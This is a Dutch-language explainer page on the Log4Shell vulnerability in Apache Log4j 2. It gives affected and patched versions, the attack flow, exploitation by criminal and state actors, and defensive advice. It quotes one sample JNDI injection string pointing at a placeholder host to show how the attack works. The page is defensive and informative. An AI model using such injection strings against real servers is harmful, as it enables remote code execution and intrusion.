Log4Shell (CVE-2021-44228)
CVE-2021-44228CWE-917OWASP A03:2021CVSS 10.0Bijgewerkt 1 oktober 20262 min leestijd
Log4Shell is een kwetsbaarheid in Apache Log4j 2 waarmee een aanvaller met één tekenreeks in een logregel willekeurige code op de server laat draaien. De score is 10.0, de hoogste die CVSS kent. Er werd al acht dagen vóór de publicatie beperkt mee getest, en binnen uren erna wereldwijd op gescand. Log4j zit diep in Java-toepassingen verstopt: zoek uit waar u het draait en houd het op een actuele release.
- Kwetsbaar
- Apache Log4j 2.0-beta9 tot en met 2.3, 2.4 tot en met 2.12.1 en 2.13.0 tot en met 2.14.1
- Gepatcht in
- Log4j 2.15.0 (Java 8), 2.12.2 (Java 7) en 2.3.1 (Java 6); de vervolglekken zijn gedicht vanaf 2.17.1, 2.12.4 en 2.3.2
- Actief misbruikt
- ja
Op 9 december 2021 werd een kwetsbaarheid bekend in Log4j 2, de logbibliotheek die in vrijwel elke Java-toepassing zit. Binnen enkele uren scande het hele internet erop. Helemaal nieuw was het lek voor aanvallers niet: Cloudflare zag vanaf 1 december al beperkte tests, en Cisco Talos nam vanaf 2 december aanvalsactiviteit waar. Log4Shell geldt sindsdien als het schoolvoorbeeld van hoe diep één component in een softwareketen kan zitten.
Wat is Log4Shell
Log4j kan waarden in een logregel opzoeken en vervangen. Een tekst als ${jndi:ldap://voorbeeld.nl/a} was voor de bibliotheek geen tekst maar een opdracht: haal iets op bij die server en voer het uit. Alles wat een applicatie logt kon die opdracht bevatten, en applicaties loggen bijna alles: een gebruikersnaam, een zoekterm, een User-Agent-header.
Hoe verloopt de aanval
De aanvaller zet de tekenreeks in een veld waarvan hij vermoedt dat het gelogd wordt. Vaak was dat gewoon de User-Agent van een HTTP-verzoek. Zodra de applicatie die regel wegschreef, maakte de server zelf verbinding met de aanvaller en haalde een Java-klasse op die vervolgens werd uitgevoerd. Geen inloggegevens nodig, geen interactie van een medewerker.
In de kern is dit een injectie: invoer van de aanvaller wordt geëvalueerd als JNDI-lookup-expressie (CWE-917). De uitgaande verbinding is alleen het middel. De schade ontstaat doordat de server een klasse laadt en uitvoert van een server die de aanvaller beheert, en zo wordt één logregel remote code execution.
Wie het misbruikte
Een breed scala aan aanvallers. Criminele groepen scanden het internet op grote schaal af, en vaak was de eerste lading een cryptominer of botnetmalware zoals Mirai. Statelijke actoren volgden. CISA beschreef bijvoorbeeld hoe door de Iraanse overheid gesteunde actoren via een ongepatchte VMware Horizon-server binnenkwamen bij een Amerikaanse federale instantie, een cryptominer installeerden en doorstapten naar de domeincontroller. Die inbraak ging terug tot minstens februari 2022, twee maanden nadat de patch was verschenen.
Waarom dit zo lang doorliep
Log4j wordt zelden bewust geïnstalleerd. Het komt mee als afhankelijkheid van een framework, dat weer meekomt met een product van een leverancier. Organisaties wisten daardoor simpelweg niet waar het draaide. Toepassingen die nooit gepatcht zijn, worden jaren later nog steeds gevonden en misbruikt.
Wat u nu moet doen
- Inventariseer welke toepassingen Log4j 2 gebruiken, inclusief indirecte afhankelijkheden. Een software bill of materials maakt dit herhaalbaar.
- Draai een Log4j 2-release die nog wordt onderhouden. Log4Shell zelf werd gedicht in 2.15.0 (2.12.2 op Java 7, 2.3.1 op Java 6); alle drie vervolglekken zijn gedicht vanaf 2.17.1, 2.12.4 en 2.3.2. De reeksen voor Java 7 en Java 6 krijgen geen updates meer, en latere releases dichtten ook andere problemen.
- Beperk uitgaand verkeer vanaf servers. Zonder de mogelijkheid om naar buiten te bellen, strandt de tweede stap van de aanval.
- Controleer of er vanaf december 2021 iets is binnengekomen. Toegang die toen is verkregen, kan er nog steeds zijn.
Bronnen
- Apache Log4j Security Vulnerabilitieslogging.apache.org
- NVD: CVE-2021-44228nvd.nist.gov
- CISA: Apache Log4j Vulnerability Guidancecisa.gov
- Cloudflare: Exploitation of Log4j CVE-2021-44228 before public disclosureblog.cloudflare.com
- Cisco Talos: Critical Apache Log4j vulnerability being exploited in the wildblog.talosintelligence.com
- CISA: Iranian Government-Sponsored APT Actors Compromise Federal Network (AA22-320A)cisa.gov
Veelgestelde vragen
Ben ik nog steeds kwetsbaar voor Log4Shell?
Voor Log4Shell zelf wel, als een toepassing log4j-core bevat die ouder is dan 2.15.0, of ouder dan 2.12.2 op Java 7 en 2.3.1 op Java 6. Releases onder respectievelijk 2.17.1, 2.12.4 en 2.3.2 bevatten nog de vervolglekken. Log4j komt vaak mee als afhankelijkheid van een andere bibliotheek, dus een grondige inventarisatie van uw software is de enige manier om het zeker te weten.
Helpt een WAF tegen Log4Shell?
Een firewall vangt de bekende patronen af en koopt u tijd, maar de tekenreeks is op tientallen manieren te verhullen. Alleen upgraden lost het echt op.
Waarom kreeg Log4Shell een 10.0?
De aanval vereist geen account, geen gebruikersinteractie en is over het netwerk uit te voeren, en de aanvaller krijgt volledige controle over het proces. Dat is de maximale score op elke as van CVSS.
Verwante artikelen
- CVE'sCWE-77A03:2021PAN-OS GlobalProtect (CVE-2024-3400)CVE-2024-3400 uitgelegd: hoe een commando-injectie in de GlobalProtect-gateway of -portal van PAN-OS aanvallers rootrechten op de firewall gaf.
- BegrippenZero-dayEen zero-day is een kwetsbaarheid die nog onbekend is bij de leverancier, waardoor er nog geen patch bestaat. Lees hoe zero-days werken en wat u ertegen doet.
- KwetsbaarhedenCWE-94A03:2021Remote code execution (RCE)Remote code execution (RCE) uitgelegd: hoe aanvallers via ongefilterde invoer eigen commando's of code op uw server draaien, en hoe u het voorkomt.
- KwetsbaarhedenCWE-918A10:2021Server-side request forgery (SSRF)Server-side request forgery (SSRF) uitgelegd: hoe aanvallers uw server dwingen interne systemen en clouddiensten te bereiken, en hoe u het voorkomt.